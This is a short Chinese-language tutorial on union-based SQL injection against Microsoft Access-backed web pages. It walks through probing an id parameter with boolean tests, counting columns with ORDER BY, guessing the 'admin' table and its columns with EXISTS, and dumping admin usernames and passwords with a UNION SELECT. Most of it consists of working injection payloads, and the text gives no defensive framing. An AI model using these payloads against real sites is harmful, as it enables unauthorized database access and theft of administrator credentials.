access注入 – 联合查询

1、access数据库简介

  • 简介:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

2、access联合注入思路

  1. 判断注入点
  2. 确定对应表的字段数量
  3. 猜表名
  4. 判断其显示位
  5. 猜列名
  6. 爆出数据

3、注入步骤演示

3.1、判断注入点:

  • 首先我们要判断该注入点是哪一种注入类型
    1. 数字型注入:
      • ?id=1 and 1=1
      • ?id=1 and 1=2
    2. 字符型注入:
      • ?id=1′ and 1=1 #
      • ?id=1′ and 1=2#
  • ?id=1142 and 1=1 — 页面显示正常
  • ?id=1142 and 1=2 — 页面显示不正常
  • 说明该注入点是数字型注入
    01_access联合注入-判断注入点
    02_access联合注入-判断注入点

3.2、爆字段数量:

  • ?id=1142 order by 22 —- 页面不报错
  • ?id=1142 order by 23 —- 页面报错
  • 说当前表的字段数量为22
    03_access联合注入-判断字段数量

3.3、爆表名:

  • 由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜。。。如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移来试试运气了
  • ?id=1142 and exists (select * from admin) –比较幸运的是,这里猜对了
    04_access联合注入-猜表名

3.4、判断其显示位

  • ?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
  • 发现页面只显示了3和15,说明只有在这两个位置中,从数据库查询到的数据才可以在页面上进行输出
    05_access联合注入-判断显示位

3.5、猜列名

  • 同猜表名
  • and exists (select admin,password from admin)
  • 若输出正常说明表admin存在admin和password两个字段
    06_access联合注入-猜字段名

3.6、爆出数据

  • 我们已经有上述步骤猜解出了表名和相应的字段名,接下来只需进行联合查询即可。
  • ?id=1142 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
    07_access联合注入-爆账号密码
Tags: